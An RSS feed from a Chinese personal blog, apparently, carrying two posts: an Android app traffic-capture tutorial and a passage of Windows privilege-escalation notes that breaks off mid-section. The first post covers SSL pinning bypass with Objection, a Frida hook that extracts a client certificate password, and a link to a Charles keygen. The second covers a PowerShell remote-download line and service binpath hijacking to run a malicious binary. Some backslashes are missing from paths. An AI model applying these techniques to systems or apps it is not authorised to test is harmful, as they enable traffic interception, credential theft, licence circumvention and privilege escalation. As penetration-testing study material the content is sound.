lucky博客网 - 个人笔记 http://blog.luckyos.top/index.php/category/笔记/ zh-CN 一个自己平时生活中的趣事 Mon, 15 Dec 2025 18:50:00 +0800 Mon, 15 Dec 2025 18:50:00 +0800 抓包教程 http://blog.luckyos.top/index.php/archives/182/ http://blog.luckyos.top/index.php/archives/182/ Mon, 15 Dec 2025 18:50:00 +0800 lucky‭‭‭⁧博士⁧‭ {mtitle title="抓包教程"/}

抓包的作用是用来封包和截取网络流量包的特殊请求

** 抓包教程 Hook | SSL Pinning |Frida
前言
1
使用 Burpsuite 对 APP 进行抓包
环境:
2

  • 使用 Fiddler 对 APP 进行抓包**
    环境:

3
使用 Burpsuite + Fiddler 进行对 APP 进行抓包**
4 、使用小黄鸟 HttpCanary 对 APP 进行抓包**
环境:
下面是 HttpCanary 的工作原理
5 、使用 Charles 对 APP 进行抓包**
环境:
代理服务器的工作原理如下所示:
Charles 下载地址:
注册码生成地址:
激活 Charles
**HTTPS 解析
6 、使用 Charles + Burpsuite 进行对 APP 进行抓包
7 、使用 Postern + Charles + Burpsuite 进行对 APP 进行抓包**
环境:
先配置 Charles
**Charles 和 Fiddler 的比较
8 、使用 Frida + Xposed + Objection + Burpsuite 进行对 APP 进行抓包
**SSL 证书绑定
单向校验
使用 Xposed + JustTruestMe 来突破 SSL Pinning**
环境:
**双向校验
9 、使用 Frida 写 Hook 代码来进行对 APP 模拟抓包
环境:
总结
参考资料

前言

每当遇到一些 APP 渗透测试项目的时候,抓不了包的问题令人有点难受,但是抓不了包并不能代表目标

系统很安全,那么接下来我会整理一下目前我所了解到的一些抓包方法

1. Burpsuite
2 、Fiddler
3 、Burpsuite + Fiddler
4 、小黄鸟 HttpCanary
5 、Charles
6 、Charles + Burpsuite
7 、Postern + Charles + Burpsuite
8 、Frida + Xposed + Objection + Burpsuite
9 、Frida 写 Hook 代码来抓包

以下抓包测试请确保手机和电脑是处于同一个局域网下

1 使用 Burpsuite 对 APP 进行抓包

环境:

Burpsuite Professional v2021.
Pixel3 Android11 、已 root + Xposed

在 Burpsuite 里面 Proxy — Options — Proxy Listeners — Add
然后在Speciffic address选择 172 网段的那个 IP 地址(即本机局域网 IP 地址)
mj71bu0y.png

在手机里面网络设置也要设置 手动代理模式 ,输入的 IP和端口 都要与 Burpsuite 一样
mj71c3sz.png

然后在手机浏览器访问 https://burp 这个地址,去进行下载并安装 burp 证书,因为抓取 HTTPS 流量是
需要证书的,点击 CA Certificate 即可进行下载
mj71cagp.png

下载之后要对证书文件后缀名进行更改,因为手机是无法打开 .der 后缀的文件,所以要吧 .der 改为
.cer ,然后再进行安装证书
mj71cmsw.png

那么安装之后就可以进行抓取 APP 数据包了

mj71csa9.png

2、使用 Fiddler 对 APP 进行抓包

环境:

Fiddler v5.0.20204.
Pixel3 Android11 、已 root + Xposed

1 、在 Fiddler 里面 Tools — Options
mj71d281.png

2 、在 options 弹框中切换至 HTTPS ,勾选图中标记的 2 个选项并点击 OK
mj71d6rt.png

3 、勾选后会弹出安装证书的提示,根据提示一直点击 是 即可安装成功

4 、接着在Tools — Options — Connections,端口写 9999 (可随意更改),并勾选 Allow remote
computers to connect ,点击 OK
mj71ddc9.png

5 、重启 Fiddler ( 修改fiddler配置要重启后才能生效 )
6 、修改手机网络设置
mj71dj3s.png

7 、在浏览器访问上面设置的 IP 地址和端口号,我这里是 172.20.10.5:9999(这里要根据实际情况),

mj71doe9.png

然后 FiddlerRoot certificate 进行下载证书,并自行安装

那么安装之后就可以进行抓取 APP 数据包了

mj71dta9.png

3、使用 Burpsuite + Fiddler 进行对 APP 进行抓包

配置 Burpsuite 使用的代理监听是 127.0.0.1:
mj71dz9s.png

在 Fiddler 里面 Tools — Options — Gateway 配置的代理监听是 127.0.0.1:8080(这里的配置与
Burpsuite 代理一致)
mj71e5w8.png

接着在 Tools — Options — Connections ,端口写 9999 (可随意更改),并勾选 Allow remote
computers to connect ,点击 OK
mj71ecso.png

修改手机网络设置

mj71eiv4.png

也就是说从手机的流量经过 Fiddler 进行转发到Burpsuite
mj71eo1s.png

4、使用小黄鸟 HttpCanary 对 APP 进行抓包

环境:

HttpCanary v3.3.
Pixel3 Android11 、已 root + Xposed

首先安装 HttpCanary APP 应用
mj71f0dt.png

mj71f7fd.png

mj71fd16.png

HttpCanary 支持 HTTP/HTTPS/HTTP2 网络数据包的抓取和分析,其实和 Charles 类似,要抓取 HTTPS
需要使用 MITM 中间技术对 TLS/SSL 数据包进行解密以及明文输出,因此需要安装自签的 CA 证书
mj71fgso.png

mj71fl4a.png

这里要提一下 Android 系统默认对证书信任证书的问题

因为我的 Pixel3 手机是已经 root 了,而且是 Android11 系统,在安卓 7.0 之前系统,直接下载证书装
入即可,安卓 7.0 及以上系统对于证书的安全策略做了修改,意味着,从 sdcard 安装用户级 CA 将无法
拦截应用流量。我们需要将证书命名为计算出的哈希值后缀 .0 或者直接在手机里面的 用户凭据 可以看
到后缀 .0的证书文件 名字,然后导入到根证书目录:/system/etc/security/cacerts 让系统默认可信
任。因此安装证书的方式也有所不同,默认它是安装在用户那里的。

mj71fwdr.png

首先按照我下面的图顺序进行安装证书

mj71g6d5.png

mj71g9c8.png

mj71gdzl.png
mj71gh9s.png

先导出 HttpCanary根 证书文件 .pem
mj71gm2x.png
mj71gt3d.png

点击它,即可完成安装证书

mj71gwyx.png
mj71h1jk.png

那么这里就看到它是安装在用户那里的,但是由于我的设备是已经 root 了,要把这个证书安装在 系统
那里才能进行抓取 HTTPS 流量
mj71h6oo.png

那么这时就需要把证书的文件移动到系统目录下就可以了,这里选择导出 System Trusted(.0)
mj71hha9.png

mj71hlbl.png

那么就把证书进行移动到系统证书目录 /etc/security/cacerts/

mj71hpa0.png

mj71hvew.png

在 Android 10 以及以上安装证书到 /system/etc/security/cacerts/会出现 system 无法写入使用 mount
报错如下:

'/system' not in /proc/mounts
'/dev/block/dm-4' is read-only

由于 Android 10 采用了某些安全策略,将系统分区 /system挂载为只读,就算你 root 了也没用,无法
写入系统分区也就无法导入系统证书,在使用 HTTPCanary 这样的软件抓包分析的时候,很多 app 只认
系统证书,不认用户证书

遇见此类情况有两种方式解决:

1 、在 Magisk 里面安装 Move Certificates模块,该插件可以一键将所有用户证书自动转换为系统区证

https://github.com/Magisk-Modules-Repo/movecert

使用方法:所有证书安装为用户证书后,安装此插件,并重启。

mj71i5xd.png
mj71i915.png

2 、创建一个新的挂载点来覆盖 这种方式是内存覆盖的方式所以手机重启后失效。(想要持久化需考虑

搞一个开机启动服务)

再进来这个看证书的界面就已经看到已经把 用户 的证书安装在 系统 那里了

mj71imfk.png
mj71ir7t.png
mj71j0v3.png


# 创建一个临时目录,保存当前证书
mkdir /sdcard/tmp/
# 复制现有证书到临时目录
cp /system/etc/security/cacerts/* /sdcard/tmp/
# 创建内存挂载
mount -t tmpfs tmpfs /system/etc/security/cacerts
# 将现有证书复制回 tmpfs 挂载
mv /sdcard/tmp/* /system/etc/security/cacerts/
# 更新 perms 和 selinux
chown root:root /system/etc/security/cacerts/*
chmod 644 /system/etc/security/cacerts/*
chcon u:object_r:system_file:s0 /system/etc/security/cacerts/*

虽然 HttpCanary 是一个很不错的抓包工具,但是它并不能跟其他抓包工具进行一个联动转发抓包,所
以当渗透测试人员在使用它进行抓包之后,可以直接在手机上进行修改数据包进行测试,但是可能在手
机上工作效率没那么高,于是就把要测试的数据包复制出来到 Burpsuite 上进行修改并发包,这个过程
也会浪费很多时间。

下面是 HttpCanary 的工作原理

HttpCanary 采用 VPN 的方式将网络包转发给本地代理服务器,本地代理服务器将数据包转发虚拟网
关,由虚拟网关进行不同策略地拦截和协议解析,最后再将数据发送给终端

mj71je0w.png

最重要的一层就是虚拟网关 Virtual Gateway ,需要对协议进行鉴定解析等等,包括数据包的拦截注入
都是在这一层处理的,比如 HTTPS 的中间人(MITM)解析出明文包等

因此从上图观察它的工作原理进行分析之后,让我寻找到另一种方式抓包(它的工作方式也和
HttpCanary 有点相似 )可以用它来代替 HttpCanary —— Postern + Charles + Burpsuite组合,至于
怎样操作,可以在文章下面 7 、使用Postern + Charles + Burpsuite进行对APP进行抓包 进行详细阅读
mj71jlns.png

5、使用 Charles 对 APP 进行抓包

环境:

Charles v4.6.2
Pixel3 Android11 、已 root + Xposed

charles 是一款非常优秀的抓包工具,全平台支持,在 mac,windows,linux 上都可以使用,既可以抓
取 web 端的包,也可以抓 app 端的包
charles 主要的功能包括如下几点:

截取 Http 和 Https 网络封包。

支持重发网络请求,方便后端调试。

支持修改网络请求参数。

支持网络请求的截获并动态修改。

支持模拟慢速网络。

代理服务器的工作原理如下所示:

mj71jsjl.png

客户端发起请求,请求通过 charles 转发给服务器,服务器返回响应,响应通过 charles 转发给客户
端。

charles 所起的作用就相当于信使,把信息从 A 传递给 B,并且把回信从 B 传递给 A,正因为他这个信
使的工作,所以他对信息的内容了如指掌(不管是原信还是回信),正因为如此,charles 也就可以篡改信
息的内容,即篡改请求和响应。

Charles 下载地址:

https://www.charlesproxy.com/download/
mj71jwpd.png

然后自行安装之后,要对它进行激活

注册码生成地址:

https://www.zzzmode.com/mytools/charles/
mj71k1kh.png

激活 Charles

mj71k62w.png

在 Help->Registered 输入 key 和生成的激活码即可
mj71kad4.png

设置代理,在 Proxy — Proxy Settings ( 注意:此时我的Windows Proxy是去掉对勾的,因为这里我是
想在PC端抓手机端的包,所以没必要打开电脑的本地代理 )
mj71kfih.png

填入代理端口 8888 (或者自定义,但不能和系统已占用端口冲突),并且勾上 Support HTTP/2 和
Enable transparent HTTP proxying ,点击右下角 OK 即可
mj71kkmx.png

然后分别在 PC 端和手机端安装证书

选择 Help — SSL Proxying — Install Charles Root Certificate 就可以下载安装上 PC 端了
mj71kqgi.png

mj71kuko.png

证书存储选择 受信任的根证书颁发机构

mj71l0f4.png

接下来再给手机端安装证书,步骤如下:

选择 Help — SSL Proxying — Install Charles Root Certificate on a Mobile Device or Remote
Browser

mj71l5rd.png

点击后会弹出窗口提示设置的方法,按照提示在手机端将代理设置为电脑的 ip:8888( 我这里是
192.168.1.251:8888 ),这里要先确保手机和电脑连接同一个无线网络 。然后在手机的浏览器打开 htt
p://chls.pro/ssl ,按提示下载证书即可。

mj71lbfk.png
mj71lf9k.png

如果 Charles 有弹出提示,一定要点击 Allow
mj71lkup.png

首先按照我下面的图顺序进行安装证书

mj71lo9c.png

mj71ls7d.png

mj71lvtd.png

mj71m0xc.png

mj71m48w.png

找到选择刚刚下载的证书文件,点击即可完成安装

mj71m8ft.png

它也是安装在 用户 那里,但是由于我的设备是已经 root 了,要把这个证书安装在 系统 那里才能进行抓
取 HTTPS 流量
mj71mdeg.png

但是移动证书的前提要知道证书安装之后的证书文件是被命名为什么,于是可以在 用户凭据 这里可以看

mj71mhv2.png

文件为 b905ae73.0 ,它目前是在用户目录下 /data/misc/user/0/cacerts-added/

mj71mmjk.png

mj71mrex.png

然后把它复制到 /etc/security/cacerts/ 系统目录下

mj71mvch.png
mj71mzeh.png
mj71n2ts.png

HTTPS 解析

然后在 Proxy — SSL Proxying Settings 进行 SSL Proxying Settings 设置
勾选 enable SSL Proxying 复选框代表开启 SSL Proxying 代理,并在 include 栏中添加域名和端口号。
include 中的列表项代表 Charles 能够展示这些域名的 SSL 请求和响应的明文。

并且说明中也提示了我们 Charles 要想使用 SSL Proxying 代理,需要进行 SSL Certificates,即证书签
名。这个我们在上面已经完成了。
mj71nai8.png

Stop SSL Proxying 按钮可以控制 SSL 代理的开关。(必须要开启SSL Proxying)
mj71nmy0.png

到此,PC 端的设置都已经配置好了,然后就能进行抓包了

mj71nsbd.png

6、使用 Charles + Burpsuite 进行对 APP 进行抓包

选择勾选 Proxy — External Proxy Settings 就是要将 Charles 作为手机端的代理,再由 Charles 将包转
发给 burpsuite,所以对于 Charles 来说,burpsuite 就成了一个 External Proxy Server —— 外部代理
服务器

勾选 HTTP 和 HTTPS 代理,这里 HTTP 和 HTTPS 的代理服务器地址都是 127.0.0.1:8080(这里的配置

mj71o22o.png

与 Burpsuite 代理一致)
mj71o6jc.png

已经设置了外部代理了,就必须打开 burp(当然了主要是要打开 burp 中对 127.0.0.1:8080 的监听),
否则就会出现 连不上网了 的现象。在 burp 的菜单栏中的 Proxy 选项下的 Options 中打开
127.0.0.1:8080 的代理监听(默认应该是已经打开的),在 Intercept 中关闭请求拦截。
mj71oe3s.png

完成上面的配置步骤后,从手机上打开浏览器搜索内容,应该已经可以在 Charles 窗口左侧的列表中找
到想抓的包,并且也可以看到数据包从 Charles 转发到 Burpsuite 了

mj71ohgh.png

7**、使用 Postern + Charles + Burpsuite 进行对 APP

进行抓包**

在实际抓手机 App 包场景中,有很多种方案,经典的就是 Fiddler 、 Burpsuite ,但是 Fiddler 、
Burpsuite 会遇到一个问题,如果 App 为了防止中间人抓包,特意设置了不走代理这个选项,那单独直
接用 Fiddler 、 Burpsuite 这些抓包工具就不能抓包的,那总不可能说不能抓包就认为目标系统很安全
吧?为了抓到完整的包,于是就衍生出 Postern + Charles 这个组合,是因为 Charles 没有直接监听到
App,Charles 是监听到了 Postern 上,Postern 就是一个VPN ,所以 App 设置不走代理也没用,它是
通过 VPN 将所有流量转发到 Charles 的 socks 代理,再打开 Charles 的 External Proxy Server — (外
部代理服务器)转发到 Burpsuite,从而实施中间人抓包

环境:

Postern 3.1.3
Charles v4.6.2
Burpsuite Professional v2021.2
Pixel3 Android11 、已 root + Xposed

先配置 Charles

在 Proxy — Proxy Settings ,勾选 Enable SOCKS proxy 进行设置 SOCKS 代理(按照下图的操作),
端口号我这里设置 16666 (或者自定义,但不能和系统已占用端口冲突)
mj71owh5.png

配置代理

mj71p0c0.png

添加代理服务器

mj71p4t4.png

mj71p860.png

mj71pb8x.png

点击保存

配置规则

mj71pfpk.png

添加规则

mj71pk55.png

按照下图进行操作并点击保存

mj71pqwo.png

mj71pxj5.png

打开/关闭 Postern
mj71q3e0.png

那么只要上面的 使用Charles + Burpsuite进行对APP进行抓包 设置好之后,打开你想要抓的目标 APP
就可以看到数据包已经转发到 Burpsuite 了

mj71qaqo.png

但是如果遇到某些比较敏感的 APP,检测 root 的话,可以参考下面的两篇文章进行设置

隐藏 Root – Zygisk 版面具 Magisk 过银行 App 等 Root 检测,Shamiko 模块的妙用
magisk 安装与配置

Charles 和 Fiddler 的比较

Fiddler 虽然也可以完成对手机的抓包,但是如果 App 设置了不走代理,那 Fiddler 就失败了,并且
Fiddler 每次都需要手动修改网络设置的代理,但是 Charles 与 Postern 联动配合就不需要手动修改网
络设置,只需要配置好 Postern 和 Charles 的连接就可以了,并且可以对绝大部分的 App 进行抓包,不
使用代理时,直接关闭 Postern 即可

目前来说,Fiddler 和 Charles 都是很流行的,但是相对来说,还是 Postern + Charles 适用范围更广一
些。

8**、使用 Frida + Xposed + Objection + Burpsuite 进

行对 APP 进行抓包**

SSL 证书绑定

什么是证书绑定呢?其实网上叫法蛮多的,SSL 证书绑定、英文名字:SSL Pinning 或者证书检验。总之
无论怎么叫都是检验证书是否可信任。我们知道从 HTTP 到 HTTPS 数据在传输过程中添加了一层
SSL/TLS,让我们数据流量处于加密状态,不再是明文可见。这时候便有了 CA 证书。
mj71qou8.png

我们在抓取 HTTPS 数据包得时候,做的就是利用假的 CA 证书,来实现中间人劫持数据。一旦 app 校验
了证书的指纹信息。我们的证书不再受信任了。自然而然就无法建立连接,所以必须想办法让 app 信
任,才能继续抓包。当然这个分为两种情况:

( 1 )单项校验-客户端校验服务端的证书。

( 2 )双向认证-客户端不仅仅要校验服务端的证书,也会在 app 内放一张证书;服务端也会检验客户端
里的证书。

单向校验

Android 系统中已经提供了检验证书的 api,我们只需要实现 checkClientTrusted 、
checkServerTrusted 、 verify 等方法即可。
mj71qvj4.png

这类的对抗需要我们将这些函数的校验进行置空,默认信任所有证书即可。

使用 Xposed + JustTruestMe 来突破 SSL Pinning

Xposed 是一个框架,它可以改变系统和应用程序的行为,而不接触任何 APK。它支持很多模块,每个
模块可以用来帮助实现不同的功能。
JustTrustMe 是一个用来禁用、绕过 SSL 证书检查的基于 Xposed 模块。JustTrustMe 是将 APK 中所有
用于校验 SSL 证书的 API 都进行了 Hook,从而绕过证书检查。

环境:

Pixel3 Android11 、已 root + Xposed

SSLUnpinning 2.0 插件

JustMePlush 插件

Frida-server-15.1.27-android-arm64

PC 端的 Frida v15.1.27

Objection v1.11.0

首先下载 Xposed 框架插件 SSLUnpinning + JustTrustMe , SSLUnpinning 插件可以直接在 Xposed 商
店下载,而 JustTrustMe 插件需要到下面的 GitHub 链接自行下载

mj71r660.png

我这里就使用 SSLUnpinning 2.0 插件和 JustMePlush 插件,效果都是一样的,插件安装完之后,记得
启动插件,然后 重启手机 后插件才能生效
mj71re68.png

然后使用 Objection 进行绕过

Objection 是一款基于 frida 的 hook 框架,由于 frida 需要我们自己编写脚本,使用比较麻烦,
objection 内置了在安卓和 IOS 逆向中常用的一些 hook 脚本,我们通过简单的命令行就可以进行 hook
动态篡改,非常方便

因为 Objection 是基于 Frida 的所以必须先安装 Frida 然后才能安装 Objection
mj71rri1.png

pip3 install objection

按照上面的操作进行部署 Frida 环境之后,就启动 Frida服务端程序
mj71snjc.png

接着用 Objection 注入到目标 APP 应用程序上

如果不知道 APP 包名,可以用以下命令进行查看,但是依然前提要启动了 Frida服务端程序
mj71sydc.png

pip3 install objection
objection -g 包名 explore

然后输入关闭 APP 的 SSL 校验命令

并在手机里面网络设置也要设置手动代理模式,输入的 IP 和端口都要与 Burpsuite 一样

frida-ps -Ua
android sslpinning disable

mj71t780.png

即可完成绕过 SSL Pinning 进行抓包

如果出现还是依然无法绕过 SSL Pinning 的情况,可以参考下面两篇文章
mj71tcwg.png
mj71tga0.png

Android 抓包总结
Frida.Android.Practice (ssl unpinning)

双向校验

APP 除了校验服务端的证书,服务端还会检验 APP 的证书。HTTPS 双向证书校验在实际中几乎很少用

到,因为服务器端需要维护所有客户端的证书,这

无疑增加了很多消耗,因此大部分厂商选择使用单向证书绑定。 对抗双向认证需要完成两个环节:

( 1 )让客户端认为 burp 是服务端 ,这一步其实就是破解 SSL pinning,方法和上述过程完全相同。

( 2 )让服务端认为 burp 是客户端 ,这一步需要导入客户端的证书到 burp,客户端的证书一定会存在
本地代码中,而且还可能会有密码,这种情况下需要逆向客户端 app,找到证书和密码,并转为 pkcs12
格式导入到 burp。User options -> SSL -> Client SSL Certificate。

双向校验的app 案例:
https://www.wandoujia.com/apps/8280413

通常情况下应用会将证书放置在资源目录 app/asset下,后缀名为 p12 、 pfx的文件。当然也可能会伪
装成其他文件,例如图片文件等。
mj71tx1c.png

怎么找到证书密码呢?一般要么逆向分析找到密码,要么通过 hook api java.security.KeyStore 使密码
自吐。

( 1 )Jadx 中搜索证书的名字、或者证书链 x509certificate 分析定位到关键位置。
mj71u1eo.png

( 2 )服务器对客户端进行校验过程中,客户端将证书公钥发送给服务器,以及从服务器获取 session 和
私钥解密过程中,需要 API 进行操作,API 存在于 java 层框架内,所以 hook 框架层代码
java.security.KeyStore,使密码自吐。
mj71u91d.png

这里下图的案例 APK 解压之后在 assets 目录下有一个 client.p12 的证书文件,但是不知道它的密码,
因此要使用 Frida 对目标 APP 进行 hook,让它密码自吐。

❗ ❗ ❗ 注意:.p12后缀的证书文件是由 .crt证书和 key 文件合并成.p12证书文件,并且在合并生成
.p12 文件的时候必须对证书进行加密(也就是加个证书密码),不加密码 Burpsuite 是无法导入的
mj71uhf4.png

脚本可以在大佬博客这里复制,并命名为 ssl.js(可自定义) 抓包之服务器校验客户端证书

执行下面的命令

function hook_KeyStore_load() {
Java.perform(function () {
var StringClass = Java.use("java.lang.String");
var KeyStore = Java.use("java.security.KeyStore");
KeyStore.load.overload('java.security.KeyStore$LoadStoreParameter').implementat
ion = function (arg0) {
console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lan
g.Throwable").$new()));
console.log("KeyStore.load1:", arg0);
this.load(arg0);
};
KeyStore.load.overload('java.io.InputStream', '[C').implementation =
function (arg0, arg1) {
console.log(Java.use("android.util.Log").getStackTraceString(Java.use("java.lan
g.Throwable").$new()));
console.log("KeyStore.load2:", arg0, arg1? StringClass.$new(arg1) :
null);
this.load(arg0, arg1);
};
console.log("hook_KeyStore_load...");
});
}
setImmediate(hook_KeyStore_load)
frida -U -f APP 包名 -l ssl.js –no-pause

可以发现我们通过 hook 框架层代码得到了 client.p12证书密码为 111111 ,然后在 Burpsuite 里面选择
User options — TLS — Client TLS Certificates — Add 进行导入证书,Destination host写*进行匹配所
有地址,证书类型选择File(PKCS#12),然后选择Next
mj71utug.png

加载 assets 目录下的 client.p12 证书文件,和输入上面 hook 出的密码 111111
mj71uybd.png

mj71v1sg.png
mj71v64x.png

导入证书之后,就可以正常的抓包了,可以看下面的图,下面的 403 是没导入证书的时候,它就不允许

mj71vb5l.png

你抓包访问,上面的 200 是我导入证书之后,就可以正常抓包了

还有就是在某些特殊场景 web页面 或者 APP 需要在 PC 电脑端安装证书才能进行访问抓包的,那么就要
根据实际情况去操作

9、使用 Frida 写 Hook 代码来进行对 APP 模拟抓包

环境:

夜神模拟器 32 位 Android7.1.2 已 root

Frida-server-15.1.27-android-x86

PC 端的 Frida v15.1.27

Objection v1.11.0

使用 Charles 抓不到包怎么办呢,我们有 Frida,可以通过 frida 来 hook 住 APP 构造网络请求和接收数
据地方的代码,然后打印出来请求和返回数据,这样 APP 向服务器进行的网络请求和接收的数据便一览
无余了。

一般网络请求和接收数据的代码都会写在一个类中,我们只要找到一个点来追踪去找到这个类就可以
了。

在大佬的 Github 项目里面找到一个Frida 实现拦截 okhttp 的脚本

它的工作原理就是:

由于所有使用的 okhttp 框架的 App 发出的请求都是通过RealCall.java发出的,那么我们可以 hook 此
类拿到 Request 和 Response, 也可以缓存下来每一个请求的 call 对象,进行再次请求,所以选择了此
处进行 hook。 find 前新增 check,根据特征类寻找是否使用了 okhttp3 库,如果没有特征类,则说明
没有使用 okhttp; 找到特征类,说明使用了 okhttp 的库,并打印出是否被混淆。❗ ❗ ❗

这里我使用了真机进行测试,遇到下面的报错,应该是有检测到我真机的一些环境原因吧,因此我就使
用了夜神模拟器进行下面的操作
mj71vn9c.png

首先将 okhttpfind.dex 拷贝到 /data/local/tmp/ 目录下,并赋予权限

adb push okhttpfind.dex /data/local/tmp/

chmod 777 okhttpfind.dex

mj71vvmo.png

然后启动Frida服务端程序
mj71wfkf.png

接着执行命令启动 hook 脚本

okHttp 的 app 案例
mj71wml4.png
mj71wpux.png

adb push okhttpfind.dex /data/local/tmp/
chmod 777 okhttpfind.dex
frida -U -l okhttp_poker.js -f APP 包名 –no-pause
如果有需要可追加参数 -o [output filepath] 保存到文件

mj71x08w.png

然后复制被混淆后的类名(上图红色框圈住的内容),粘贴到 okhttp_poker.js 文件中(如下图),并
进行保存,Frida 会自动实时识别更新后的脚本内容执行相关操作
mj71xckh.png

然后运行 hold() 命令开启 hook 拦截,然后操作 App 后,会出现拦截的内容如下:
mj71xg9d.png

如果想对 okHTTP 进行深入的研究可以前往这篇大佬的文章进行阅读 [原创] 如何实现 Https 拦截进行 非
常规“抓包”(20.9.13-代码更新)

总结

整理了以上九种不同的抓包方式其实是可以应对目前市面上各大的 APP 抓包场景,当然抓包的方式肯定

不只这九种,比如还有肉丝大佬 r0ysue 的安卓应用层抓包通杀脚本,有兴趣的大佬可以去尝试一下。
其实能多掌握一些抓包的技巧,也许能够在测试的过程中发现更多意想不到的新技术。

参考资料

fiddler 安装教程,算是一次记录吧~
如何使用 Burp suite 抓取 Fiddler 转发的流量包
Android 抓包——HttpCanary
Android10 导入系统证书的方法。
学完这篇 Charles 抓包教程,我直接把 fiddler 卸载了
Charles+Postern 抓包
如何通过 Charles+BurpSuite 的配合在 PC 端抓到手机包
Charles 乱码和 SSL 代理问题解决
走进移动安全(3)-抓包进阶
双向认证 APP 自吐证书密码与抓包
[原创]安卓 APP 抓包之双向认证突破
[Frida 实现的 Android 端 App 抓包小工具okhttp_poker]
]]>
0 http://blog.luckyos.top/index.php/archives/182/#comments http://blog.luckyos.top/index.php/feed/archives/182/
windows简单提权笔记 http://blog.luckyos.top/index.php/archives/179/ http://blog.luckyos.top/index.php/archives/179/ Mon, 15 Dec 2025 18:20:00 +0800 lucky‭‭‭⁧博士⁧‭ mj70it19.png

Windows提权笔记

大纲设计以下主题:

  1. Windows提权命令参考
  2. 本地权限提升
  3. 服务漏洞
  4. Windows注册表
  5. 不安全的文件系统权限
  6. AlwaysInstallElevated
  7. 获得凭证
  8. 利用令牌权限
  9. DLL 劫持
  10. 自动化的工具和框架

Windows提权命令参考

以下是一些必要的Windows命令:

命令描述
systeminfo打印系统信息
whoami获得当前用户名
whoami /priv当前帐户权限
ipconfig网络配置信息
ipconfig /displaydns显示DNS缓存
route print打印出路由表
arp -a打印arp表
hostname主机名
net user列出用户
net user UserName关于用户的信息
net use \\SMBPATH Pa$$wOrd /u:UserName连接SMB
net localgroup列出所有组
net localgroup GROUP关于指定组的信息
net view \\127.0.0.1会话打开到当前计算机
net session开放给其他机器
netsh firewall show config显示防火墙配置
DRIVERQUERY列出安装的驱动
tasklist /svc列出服务任务
net start列出启动的服务
dir /s foo在目录中搜索包含指定字符的项目
dir /s foo == bar同上
sc query列出所有服务
sc qc ServiceName找到指定服务的路径
shutdown /r /t 0立即重启
type file.txt打印出内容
icacls "C:\Example"列出权限
wmic qfe get Caption,Description,HotFixID,InstalledOn列出已安装的补丁
(New-Object System.Net.WebClient).DownloadFile("http://host/file","C:\LocalPath")利用ps远程下载文件到本地
accesschk.exe -qwsu "Group"修改对象(尝试Everyone, Authenticated Users和/或Users)

这个起点比较友好,下面还有一些可以参考的:

另外还有两个语言供参考:

  • WMIC
  • PowerShell

Exploits

多年来,Windows肯定有很多内核攻击的案例分享,并且不乏各种版本的本地授权exp。事实上,本指南列出的内容很多。

有关Windows漏洞的一些相关列表,请参阅以下资源:

务必检查系统的补丁级别,以确定它是否可利用。正常的测试是检查系统上最新补丁的日期。如果它比漏洞利用程序更旧,则系统可能容易受到攻击。请务必查找该漏洞利用程序的相关修补程序,并查看它是否已安装。还要记住,利用内核漏洞可能会影响系统的稳定性(会把系统打崩)!在测试产品之前要小心。首先探索其他潜在的载体总是好的。


服务配置错误

利用配置错误的服务进行提升权限是常用方法。本节将介绍可以利用的Windows服务的几种方法。

不带引号的服务路径

当系统管理员配置Windows服务时,他们必须指定要执行的命令,或者运行可执行文件的路径。

当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引导中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例。

这可能有点不直观,所以让我们来看一个实际的例子。假设服务配置类似于以下存在bug的示例服务:
C:Program FilesVulnerable ServiceSub Directoryservice.exe

Windows命令解释程序可能会遇到名称中的空格,并且希望通过将字符串包装在引导中来对它们进行转义。在上面的示例中,如果系统运行该服务,它将尝试运行以下可执行文件:

C:Program.exe
C:Program FilesVulnerable.exe
C:Program FilesVulnerable ServiceSub.exe
C:Program FilesVulnerable ServiceSub Directoryservice.exe

text

为了讲清楚这个漏洞,定义一个名为example.exe的程序,这是一个简单打印出自己名称的正常二进制文件:

#include <stdio.h>

void main(int argc, char *argv[])
{
    printf("[*] Executed %s\n", argv[0]);
}

考虑当从命令行通过其绝对路径执行此程序时会发生什么,在引导内:

C:\>"C:\Example\Sub Directory\example.exe"
[*] Executed C:\Example\Sub Directory\example.exe

C:\>
或:

C:\>C:\Example\Sub Directory\example.exe
'C:\Example\Sub' is not recognized as an internal or external command, operable program or batch file.

C:>
这意味着如果服务器名不加引号,我们可以放置一个与第一个名称相同的恶意二进制文件作为文件系统对象,并在其名称中包含空格,并且当服务尝试执行其二进制文件时会将它运行。我们所需要的只是对路径中目录的写权限。

考虑通过隐藏example.exe来利用上述示例,C:ExampleSub.exe在没有空格的情况下调用上面的示例,如易受攻击的服务:

C:>C:ExampleSub Directoryexample.exe
[*] Executed C:ExampleSub

C:>
一条命令找到这些错误配置:

bash
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:Windows\" | findstr /i /v """
不安全的服务权限
即使正确引用了服务器名,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,例如,可以直接修改它。

AccessChk工具可以用来查找用户可以修改的服务:

C:UsersuserDesktop>accesschk.exe -uwcqv "user" *
Accesschk v6.02 - Reports effective permissions for securable objects Copyright (C) 2006-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

RW Vulnerable Service
SERVICE_ALL_ACCESS
也可以使用以下sc qc命令查询服务:

C:UsersuserDesktop>sc qc "Service"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: Service
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:Program Files (x86)Program FolderSubfolderService.exe
LOAD_ORDER_GROUP : UIGroup
TAG : 0
DISPLAY_NAME : Service
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
最后,可以在HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices注册表项中找到有关服务的信息。另请参阅本指南Windows注册表的部分。

如果可以修改服务的BINPATH,则可以利用它:

C:UsersuserDesktop>sc config "Vulnerable" binpath="C:malicious.exe"
[SC] ChangeServiceConfig SUCCESS
修改后,必须重新启动服务才能执行二进制文件。可以手动重启服务。先停止它:

C:UsersuserDesktop>sc stop "Vulnerable"
SERVICE_NAME: Vulnerable
TYPE : 10 WIN32_OWN_PROCESS
STATE : 3 STOP_PENDING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
